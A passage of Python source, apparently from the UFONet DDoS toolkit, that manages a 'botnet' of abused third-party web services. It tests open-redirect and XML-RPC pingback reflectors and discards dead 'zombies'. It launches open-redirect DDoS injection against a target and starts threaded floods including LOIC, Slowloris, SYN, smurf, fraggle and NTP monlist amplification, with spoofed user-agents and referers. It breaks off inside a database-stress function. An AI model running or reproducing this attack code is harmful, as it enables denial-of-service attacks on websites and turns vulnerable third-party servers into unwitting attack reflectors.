  5383. zombie_type = 'UCAV'
  5384. t = urlparse(zombie)
  5385. name_zombie = t.netloc
  5386. if name_zombie == "":
  5387. name_zombie = zombie
  5388. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  5389. sep = ';$POST;'
  5390. zombie = zombie.split(sep, 1)[0]
  5391. try:
  5392. reply = str(self.connect_zombie(zombie))
  5393. except:
  5394. reply = None
  5395. if reply:
  5396. if reply == "200" or reply == "301" or reply == "302":
  5397. status = "ONLINE! -> [OK!]"
  5398. else:
  5399. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  5400. zombies_online = zombies_online + 1
  5401. else:
  5402. status = "NOT Working!"
  5403. zombies_offline = zombies_offline + 1
  5404. print("\nName:", name_zombie)
  5405. print("Type: [", zombie_type, "]")
  5406. print("Vector:", zombie)
  5407. print("HTTP Code: [", reply, "]")
  5408. print("STATUS:", status)
  5409. print('-'*21)
  5410. if status == "NOT Working!": # add to discarded zombies
  5411. if zombie not in discarded:
  5412. discarded.append(zombie)
  5413. print("\n" + '='*52)
  5414. print("\n+ Total Botnet:", len(botnet))
  5415. print("\n" + '-'*25 + "\n")
  5416. print(" - ONLINE:", zombies_online)
  5417. print(" - OFFLINE:", zombies_offline, "\n")
  5418. print('='*52 + '\n')
  5419. self.head = False
  5420. if zombies_offline > 0:
  5421. if not self.options.forceyes:
  5422. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  5423. print('-'*25 + "\n")
  5424. else:
  5425. test_reply = "Y"
  5426. if test_reply == "n" or test_reply == "N":
  5427. print("[AI] "+self.exit_msg+"\n")
  5428. return
  5429. else:
  5430. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5431. print('='*52)
  5432. print("\n - DISCARDED:", disc_zombies)
  5433. new_botnet = int(len(botnet) - disc_zombies)
  5434. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  5435. print('='*52 + '\n')
  5436. else:
  5437. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  5438. def send_extra_zombies(self):
  5439. from core._botnet import is_placeholder as _is_ph
  5440. def _real(lst):
  5441. if not lst:
  5442. return None
  5443. r = [x for x in lst if not _is_ph(x)]
  5444. return r if r else None
  5445. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  5446. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  5447. if self.options.verbose:
  5448. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  5449. aliens = [_real(self.extract_aliens())] # extract aliens from file to a list
  5450. for a in aliens:
  5451. if a is None:
  5452. self.options.disablealiens = True
  5453. self.total_aliens = 0 # not any alien invoked
  5454. else:
  5455. for s in a: # extract number of aliens
  5456. self.total_aliens = self.total_aliens + 1
  5457. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  5458. al.start()
  5459. else:
  5460. self.options.disablealiens = True
  5461. self.total_aliens = 0 # not any alien invoked
  5462. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  5463. if self.options.verbose:
  5464. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  5465. droids = [_real(self.extract_droids())] # extract droids from file to a list
  5466. for d in droids:
  5467. if d is None:
  5468. self.options.disabledroids = True
  5469. self.total_droids = 0 # not any droid invoked
  5470. else:
  5471. for s in d: # extract number of droids
  5472. self.total_droids = self.total_droids + 1
  5473. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  5474. dr.start()
  5475. else:
  5476. self.options.disabledroids = True
  5477. self.total_droids = 0 # not any droid invoked
  5478. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  5479. if self.options.verbose:
  5480. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  5481. rpcs = [_real(self.extract_rpcs())] # extract rpcs from file to a list
  5482. for r in rpcs:
  5483. if r is None:
  5484. self.options.disablerpcs = True
  5485. self.total_rpcs = 0 # not any rpc invoked
  5486. else:
  5487. for s in r: # extract number of rpcs
  5488. self.total_rpcs = self.total_rpcs + 1
  5489. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  5490. rp.start()
  5491. else:
  5492. self.options.disablerpcs = True
  5493. self.total_rpcs = 0 # not any rpcs invoked
  5494. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  5495. if self.options.verbose:
  5496. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  5497. ucavs = [_real(self.extract_ucavs())] # extract ucavs from file to a list
  5498. for u in ucavs:
  5499. if u is None:
  5500. self.options.disableucavs = True
  5501. self.total_ucavs = 0 # not any ucav invoked
  5502. else:
  5503. for s in u: # extract number of ucavs
  5504. self.total_ucavs = self.total_ucavs + 1
  5505. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5506. uc.start()
  5507. else:
  5508. self.options.disableucavs = True
  5509. self.total_ucavs = 0 # not any ucavs invoked
  5510. def abandoning_zombies(self):
  5511. if self.options.expire: # set timing for purge
  5512. try:
  5513. timing = int(self.options.expire)
  5514. except:
  5515. timing = self.expire_timing # default timing for purge
  5516. else:
  5517. timing = self.expire_timing # default timing for purge
  5518. if timing < 1:
  5519. timing = self.expire_timing # default timing for purge
  5520. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5521. zombies_lock = 0
  5522. if self.options.verbose:
  5523. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5524. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5525. zombies_lock = zombies_lock + 1
  5526. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5527. if self.options.verbose:
  5528. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5529. break
  5530. else:
  5531. time.sleep(1)
  5532. def discard_zombies(self, discarded):
  5533. disc_zombies = 0
  5534. if self.options.testoffline:
  5535. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5536. else:
  5537. zombies_list = [self.zombies_file]
  5538. if not self.options.disablealiens: # add aliens
  5539. zombies_list.append(self.aliens_file)
  5540. if not self.options.disabledroids: # add droids
  5541. zombies_list.append(self.droids_file)
  5542. if not self.options.disablerpcs: # add rpcs
  5543. zombies_list.append(self.rpcs_file)
  5544. if not self.options.disableucavs: # add ucavs
  5545. zombies_list.append(self.ucavs_file)
  5546. for l in zombies_list:
  5547. f = open(l, "r+")
  5548. d = f.readlines()
  5549. f.close()
  5550. f = open(l, "w")
  5551. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5552. f.close()
  5553. return disc_zombies
  5554. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5555. m = []
  5556. for zombie in d:
  5557. if zombie not in discarded == True:
  5558. m.append(zombie) # save it
  5559. else:
  5560. disc_zombies = disc_zombies + 1
  5561. if not m:
  5562. fname = os.path.basename(f.name)
  5563. _ph = {
  5564. 'zombies.txt': '<TBD:dork-page.php?url=>',
  5565. 'aliens.txt': '<TBD:dork-POST-open-redirect>',
  5566. 'droids.txt': '<TBD:dork-validator?uri=>',
  5567. 'ucavs.txt': '<TBD:url-checker-service>',
  5568. 'rpcs.txt': '<TBD:dork-xmlrpc.php>',
  5569. 'ntp.txt': '<TBD:scan-udp-123-monlist>',
  5570. 'dns.txt': '<TBD:open-resolver-udp-53>',
  5571. 'snmp.txt': '<TBD:scan-udp-161-public>',
  5572. 'memcached.txt':'<TBD:scan-udp-11211>',
  5573. 'chargen.txt': '<TBD:scan-udp-19>',
  5574. 'cldap.txt': '<TBD:scan-udp-389>',
  5575. 'ssdp.txt': '<TBD:scan-udp-1900>',
  5576. 'qotd.txt': '<TBD:scan-udp-17>',
  5577. 'tftp.txt': '<TBD:scan-udp-69>',
  5578. 'wsdisco.txt': '<TBD:scan-udp-3702>',
  5579. 'coap.txt': '<TBD:scan-udp-5683>',
  5580. 'mssql.txt': '<TBD:scan-udp-1434>',
  5581. 'arms.txt': '<TBD:scan-udp-3283>',
  5582. 'plex.txt': '<TBD:scan-udp-32414>',
  5583. 'netbios.txt': '<TBD:scan-udp-137>',
  5584. 'ripv1.txt': '<TBD:scan-udp-520>',
  5585. 'middlebox.txt':'<TBD:scan-tcp-80-middlebox>',
  5586. }.get(fname, '<TBD:populate>')
  5587. f.write(_ph + os.linesep)
  5588. else:
  5589. for z in m:
  5590. f.write(z+os.linesep)
  5591. return disc_zombies
  5592. def parse_url_encoding(self, target):
  5593. if not target.startswith("http"):
  5594. target = "http://" + target
  5595. t = urlparse(target)
  5596. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5597. path = urllib.parse.quote(t.path.encode('utf-8'))
  5598. query = urllib.parse.quote(t.query.encode('utf-8'))
  5599. if query:
  5600. if path.endswith(""):
  5601. path.replace("", "/")
  5602. query = urllib.parse.quote(t.query.encode('utf-8'))
  5603. target = t.scheme+"://"+host + path + "?" + query
  5604. else:
  5605. target = t.scheme+"://"+host + path
  5606. return target
  5607. def testing_rpcs(self, rpcs):
  5608. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5609. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5610. options = self.options
  5611. if self.options.testall: #testing_all
  5612. print('='*51)
  5613. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5614. print('='*51)
  5615. num_active_rpcs = 0
  5616. num_failed_rpcs = 0
  5617. rpcs_ready = []
  5618. print("Trying:", len(rpcs))
  5619. print('-'*21)
  5620. for rpc in rpcs:
  5621. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5622. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5623. if rpc.startswith("http://") or rpc.startswith("https://"):
  5624. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5625. rpc_host = rpc.replace("/xmlrpc.php", "")
  5626. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5627. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5628. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5629. try:
  5630. if options.proxy: # set proxy
  5631. self.proxy_transport(options.proxy)
  5632. try:
  5633. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5634. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5635. except:
  5636. if DEBUG == True:
  5637. traceback.print_exc()
  5638. if self.options.verbose:
  5639. print("[Info] [X-RPCs] Reply:", target_reply)
  5640. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5641. print("[Info] [AI] -> [VULNERABLE!]")
  5642. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5643. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5644. else:
  5645. print("[Info] [AI] -> [NOT vulnerable...]")
  5646. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5647. except:
  5648. print("[Info] [AI] -> [NOT vulnerable...]")
  5649. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5650. else:
  5651. print("[Info] [AI] -> [NOT vulnerable...]")
  5652. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5653. print('-'*21)
  5654. print('='*18)
  5655. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5656. print('='*18)
  5657. if self.options.testall: # testing_all
  5658. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5659. else:
  5660. # update 'rpcs' list
  5661. if num_active_rpcs == 0:
  5662. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5663. return
  5664. else:
  5665. if not self.options.forceyes:
  5666. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5667. print('-'*25)
  5668. else:
  5669. update_reply = "Y"
  5670. if update_reply == "n" or update_reply == "N":
  5671. print("[AI] "+self.exit_msg+"\n")
  5672. return
  5673. else:
  5674. self.update_rpcs(rpcs_ready)
  5675. if not self.options.upload:
  5676. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5677. def testing(self, zombies):
  5678. # test Open Redirect exploiting and show statistics
  5679. # HTTP HEAD check
  5680. army = 0
  5681. print ("Are 'they' alive? :-) (HEAD Check):")
  5682. print('='*35)
  5683. num_active_zombies = 0
  5684. num_failed_zombies = 0
  5685. active_zombies = []
  5686. print("Trying:", len(zombies))
  5687. print('-'*21)
  5688. for zombie in zombies:
  5689. zombie = str(zombie)
  5690. if zombie.startswith("http://") or zombie.startswith("https://"):
  5691. # send HEAD connection
  5692. self.head = True
  5693. try:
  5694. self.connect_zombies(zombie)
  5695. except:
  5696. pass
  5697. while self.herd.no_more_zombies() == False:
  5698. time.sleep(1)
  5699. for zombie in self.herd.done:
  5700. zombie = str(zombie)
  5701. t = urlparse(zombie)
  5702. if self.herd.get_result(zombie):
  5703. code_reply = self.herd.get_result(zombie)
  5704. self.head = False
  5705. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5706. name_zombie = t.netloc
  5707. if name_zombie == "":
  5708. name_zombie = zombie
  5709. print("Zombie:", name_zombie)
  5710. print("Status: OK ["+ code_reply + "]")
  5711. num_active_zombies = num_active_zombies + 1
  5712. active_zombies.append(zombie)
  5713. elif code_reply == "401":
  5714. print("Zombie:", t.netloc)
  5715. print("Status: Unauthorized ["+ code_reply + "]")
  5716. num_failed_zombies = num_failed_zombies + 1
  5717. elif code_reply == "403":
  5718. print("Zombie:", t.netloc)
  5719. print("Status: Error Forbidden ["+ code_reply + "]")
  5720. num_failed_zombies = num_failed_zombies + 1
  5721. elif code_reply == "404":
  5722. print("Zombie:", t.netloc)
  5723. print("Status: Not Found ["+ code_reply + "]")
  5724. num_failed_zombies = num_failed_zombies + 1
  5725. elif code_reply == "500":
  5726. print("Zombie:", t.netloc)
  5727. print("Status: Internal Server Error ["+ code_reply + "]")
  5728. num_failed_zombies = num_failed_zombies + 1
  5729. else:
  5730. print("Zombie:", t.netloc, "\nVector:", zombie)
  5731. print("Status: Not Allowed ["+ code_reply + "]")
  5732. num_failed_zombies = num_failed_zombies + 1
  5733. else:
  5734. if self.options.verbose:
  5735. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5736. print("Zombie:", zombie)
  5737. print("Status: Malformed!")
  5738. num_failed_zombies = num_failed_zombies + 1
  5739. print('-'*10)
  5740. self.herd.reset()
  5741. print('='*18)
  5742. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5743. print('='*18 + "\n")
  5744. print('='*22)
  5745. if num_active_zombies > 0:
  5746. # check url parameter vectors
  5747. print ("Checking for payloads:")
  5748. print('='*22)
  5749. print("Trying:", num_active_zombies)
  5750. print('-'*21)
  5751. zombies_ready = []
  5752. num_waiting_zombies = 0
  5753. if num_active_zombies == 0:
  5754. num_disconnected_zombies = num_failed_zombies
  5755. else:
  5756. num_disconnected_zombies = 0
  5757. for zombie in active_zombies:
  5758. zombie = str(zombie)
  5759. t = urlparse(zombie)
  5760. name_zombie = t.netloc
  5761. if name_zombie == "":
  5762. name_zombie = zombie
  5763. self.payload = True
  5764. try:
  5765. self.connect_zombies(zombie)
  5766. except:
  5767. pass
  5768. self.payload = False
  5769. while self.herd.no_more_zombies() == False:
  5770. time.sleep(1)
  5771. for zombie in self.herd.done:
  5772. zombie = str(zombie)
  5773. t = urlparse(zombie)
  5774. name_zombie = t.netloc
  5775. if name_zombie == "":
  5776. name_zombie = zombie
  5777. payload_zombie = zombie
  5778. payload_reply = ""
  5779. print("Vector:", payload_zombie)
  5780. self.payload = True
  5781. if self.herd.get_result(zombie):
  5782. payload_reply = self.herd.get_result(zombie)
  5783. self.payload = False
  5784. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5785. num_waiting_zombies = num_waiting_zombies + 1
  5786. print("Status:", "Awaiting for orders... ;-)")
  5787. zombies_ready.append(zombie)
  5788. else:
  5789. num_disconnected_zombies = num_disconnected_zombies + 1
  5790. print("Status:", "Not ready...")
  5791. army = army + 1
  5792. print('-'*10)
  5793. self.herd.reset()
  5794. print('='*18)
  5795. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5796. print('='*18 + "\n")
  5797. # list of [Zombies] ready to attack
  5798. num_active_zombie = 0
  5799. for z in zombies_ready:
  5800. t = urlparse(z)
  5801. name_zombie = t.netloc
  5802. if name_zombie == "":
  5803. name_zombie = z
  5804. num_active_zombie = num_active_zombie + 1
  5805. if self.options.verbose:
  5806. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5807. if self.options.testall: # testing_all
  5808. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5809. else:
  5810. print('-'*25 + "\n")
  5811. print('='*24)
  5812. print("Working [Zombies]:", num_active_zombie)
  5813. print('='*24)
  5814. if not self.options.upload:
  5815. if not self.options.forceyes:
  5816. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5817. print('-'*25)
  5818. else:
  5819. update_reply = "Y"
  5820. if update_reply == "n" or update_reply == "N":
  5821. print("[AI] "+self.exit_msg+"\n")
  5822. return
  5823. else:
  5824. self.update_zombies(zombies_ready)
  5825. if not self.options.upload:
  5826. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5827. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5828. else:
  5829. print('-'*25 + "\n")
  5830. print('='*24)
  5831. print("Working [Zombies]:", num_active_zombies)
  5832. print('='*24)
  5833. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5834. def testing_all(self):
  5835. # test whole botnet
  5836. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5837. print('='*35)
  5838. zombies = self.extract_zombies()
  5839. rpcs = self.extract_rpcs()
  5840. aliens = self.extract_aliens()
  5841. droids = self.extract_droids()
  5842. ucavs = self.extract_ucavs()
  5843. try:
  5844. botnet = zombies + rpcs + aliens + droids + ucavs
  5845. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5846. except:
  5847. return
  5848. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5849. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5850. print("\n" + '='*52)
  5851. print("\n+ Total Botnet:", len(botnet))
  5852. print("\n" + '-'*25)
  5853. print("\n+ Total Tested:", len(tested_zombies))
  5854. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5855. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5856. print('='*52 + '\n')
  5857. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5858. if not self.options.forceyes:
  5859. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5860. print('-'*25)
  5861. else:
  5862. update_reply = "Y"
  5863. if update_reply == "n" or update_reply == "N":
  5864. print("[AI] "+self.exit_msg+"\n")
  5865. return
  5866. else:
  5867. if num_disconnected_zombies > 0:
  5868. self.update_zombies(zombies_ready)
  5869. if num_failed_rpcs > 0:
  5870. self.update_rpcs(rpcs_ready)
  5871. if not self.options.upload:
  5872. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5873. else:
  5874. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5875. def attacking(self, zombies, target):
  5876. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5877. if self.options.forcessl:
  5878. if target.startswith("http://"):
  5879. target = target.replace("http://", "https://") # force SSL/TLS
  5880. if target.startswith("http://") or target.startswith("https://"):
  5881. print("Attacking:", target)
  5882. print('='*55, "\n")
  5883. # send Open Redirect injection (multiple zombies > one target url)
  5884. reply = self.injection(target, zombies)
  5885. else:
  5886. print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
  5887. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5888. # perform some other extra attacks (such as DoS techniques)
  5889. time.sleep(2) # aiming (multi-threading flow time compensation)
  5890. if loic:
  5891. try:
  5892. self.options.loic = int(loic)
  5893. except:
  5894. self.options.loic = 100 # default LOIC requests
  5895. if self.options.loic < 1:
  5896. self.options.loic = 100
  5897. self.instance = LOIC() # instance main class for LOIC operations
  5898. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5899. self.t1.daemon = True # extra weapons are threaded as daemons
  5900. self.t1.start()
  5901. self.update_loic_stats() # add new LOIC attack to mothership stats
  5902. if loris:
  5903. try:
  5904. self.options.loris = int(loris)
  5905. except:
  5906. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5907. if self.options.loris < 1:
  5908. self.options.loris = 101
  5909. self.instance = LORIS() # instance main class for LORIS operations
  5910. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5911. self.t2.daemon = True
  5912. self.t2.start()
  5913. self.update_loris_stats() # add new LORIS attack to mothership stats
  5914. if ufosyn:
  5915. try:
  5916. self.options.ufosyn = int(ufosyn)
  5917. except:
  5918. self.options.ufosyn = 100 # default UFOSYN requests
  5919. if self.options.ufosyn < 1:
  5920. self.options.ufosyn = 100
  5921. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5922. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5923. self.t3.daemon = True
  5924. self.t3.start()
  5925. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5926. if spray:
  5927. try:
  5928. self.options.spray = int(spray)
  5929. except:
  5930. self.options.spray = 100 # default SPRAY requests
  5931. if self.options.spray < 1:
  5932. self.options.spray = 100
  5933. self.instance = SPRAY() # instance main class for SPRAY operations
  5934. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5935. self.t4.daemon = True
  5936. self.t4.start()
  5937. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5938. if smurf:
  5939. try:
  5940. self.options.smurf = int(smurf)
  5941. except:
  5942. self.options.smurf = 101 # default SMURF requests
  5943. if self.options.smurf < 1:
  5944. self.options.smurf = 101
  5945. self.instance = SMURF() # instance main class for SMURF operations
  5946. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5947. self.t5.daemon = True
  5948. self.t5.start()
  5949. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5950. if xmas:
  5951. try:
  5952. self.options.xmas = int(xmas)
  5953. except:
  5954. self.options.xmas = 101 # default XMAS requests
  5955. if self.options.xmas < 1:
  5956. self.options.xmas = 101
  5957. self.instance = XMAS() # instance main class for XMAS operations
  5958. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5959. self.t6.daemon = True
  5960. self.t6.start()
  5961. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5962. if nuke:
  5963. if sys.platform == "linux" or sys.platform == "linux2":
  5964. try:
  5965. self.options.nuke = int(nuke)
  5966. except:
  5967. self.options.nuke = 10000 # default NUKE requests
  5968. if self.options.nuke < 1:
  5969. self.options.nuke = 10000
  5970. self.instance = NUKE() # instance main class for NUKE operations
  5971. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5972. self.t7.daemon = True # extra weapons are threaded as daemons
  5973. self.t7.start()
  5974. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5975. else:
  5976. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5977. if tachyon:
  5978. try:
  5979. self.options.tachyon = int(tachyon)
  5980. except:
  5981. self.options.tachyon = 1000 # default TACHYON requests
  5982. if self.options.tachyon < 1:
  5983. self.options.tachyon = 1000
  5984. self.instance = TACHYON() # instance main class for TACHYON operations
  5985. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5986. self.t8.daemon = True
  5987. self.t8.start()
  5988. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5989. if monlist:
  5990. try:
  5991. self.options.monlist = int(monlist)
  5992. except:
  5993. self.options.monlist = 1000 # default MONLIST requests
  5994. if self.options.monlist < 1:
  5995. self.options.monlist = 1000
  5996. self.instance = MONLIST() # instance main class for MONLIST operations
  5997. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5998. self.t9.daemon = True
  5999. self.t9.start()
  6000. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  6001. if ufoack:
  6002. try:
  6003. self.options.ufoack = int(ufoack)
  6004. except:
  6005. self.options.ufoack = 101 # default UFOACK requests
  6006. if self.options.ufoack < 1:
  6007. self.options.ufoack = 101
  6008. self.instance = UFOACK() # instance main class for UFOACK operations
  6009. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  6010. self.t10.daemon = True
  6011. self.t10.start()
  6012. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  6013. if uforst:
  6014. try:
  6015. self.options.uforst = int(uforst)
  6016. except:
  6017. self.options.uforst = 101 # default UFORST requests
  6018. if self.options.uforst < 1:
  6019. self.options.uforst = 101
  6020. self.instance = UFORST() # instance main class for UFORST operations
  6021. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  6022. self.t11.daemon = True
  6023. self.t11.start()
  6024. self.update_uforst_stats() # add new UFORST attack to mothership stats
  6025. if droper:
  6026. try:
  6027. self.options.droper = int(droper)
  6028. except:
  6029. self.options.droper = 101 # default DROPER requests
  6030. if self.options.droper < 1:
  6031. self.options.droper = 101
  6032. self.instance = DROPER() # instance main class for DROPER operations
  6033. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  6034. self.t12.daemon = True
  6035. self.t12.start()
  6036. self.update_droper_stats() # add new DROPER attack to mothership stats
  6037. if overlap:
  6038. try:
  6039. self.options.overlap = int(overlap)
  6040. except:
  6041. self.options.overlap = 101 # default OVERLAP requests
  6042. if self.options.overlap < 1:
  6043. self.options.overlap = 101
  6044. self.instance = OVERLAP() # instance main class for OVERLAP operations
  6045. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  6046. self.t13.daemon = True
  6047. self.t13.start()
  6048. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  6049. if pinger:
  6050. try:
  6051. self.options.pinger = int(pinger)
  6052. except:
  6053. self.options.pinger = 101 # default PINGER requests
  6054. if self.options.pinger < 1:
  6055. self.options.pinger = 101
  6056. self.instance = PINGER() # instance main class for PINGER operations
  6057. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  6058. self.t14.daemon = True
  6059. self.t14.start()
  6060. self.update_pinger_stats() # add new PINGER attack to mothership stats
  6061. if ufoudp:
  6062. try:
  6063. self.options.ufoudp = int(ufoudp)
  6064. except:
  6065. self.options.ufoudp = 101 # default UFOUDP requests
  6066. if self.options.ufoudp < 1:
  6067. self.options.ufoudp = 101
  6068. self.instance = UFOUDP() # instance main class for UFOUDP operations
  6069. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  6070. self.t15.daemon = True
  6071. self.t15.start()
  6072. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  6073. if fraggle:
  6074. try:
  6075. self.options.fraggle = int(fraggle)
  6076. except:
  6077. self.options.fraggle = 101 # default FRAGGLE requests
  6078. if self.options.fraggle < 1:
  6079. self.options.fraggle = 101
  6080. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  6081. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  6082. self.t16.daemon = True
  6083. self.t16.start()
  6084. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  6085. if sniper:
  6086. try:
  6087. self.options.sniper = int(sniper)
  6088. except:
  6089. self.options.sniper = 101 # default SNIPER requests
  6090. if self.options.sniper < 1:
  6091. self.options.sniper = 101
  6092. self.instance = SNIPER() # instance main class for SNIPER operations
  6093. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  6094. self.t17.daemon = True
  6095. self.t17.start()
  6096. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  6097. def stressing(self, target, zombie):
  6098. # perform a DDoS Web attack against a target, requesting records on target's database
  6099. options = self.options
  6100. db_input = self.options.dbstress
  6101. def random_key(length):
  6102. key = ''
  6103. for i in range(length):
  6104. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  6105. return key
  6106. # generating random alphanumeric queries
  6107. if self.db_flash > 9: # set db flash start on: 10
  6108. length = 1024 # search a heavy random length query (db flash): 1024
  6109. self.db_flash = 0 # reset db flash counter
  6110. else:
  6111. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  6112. key = str(random_key(length))
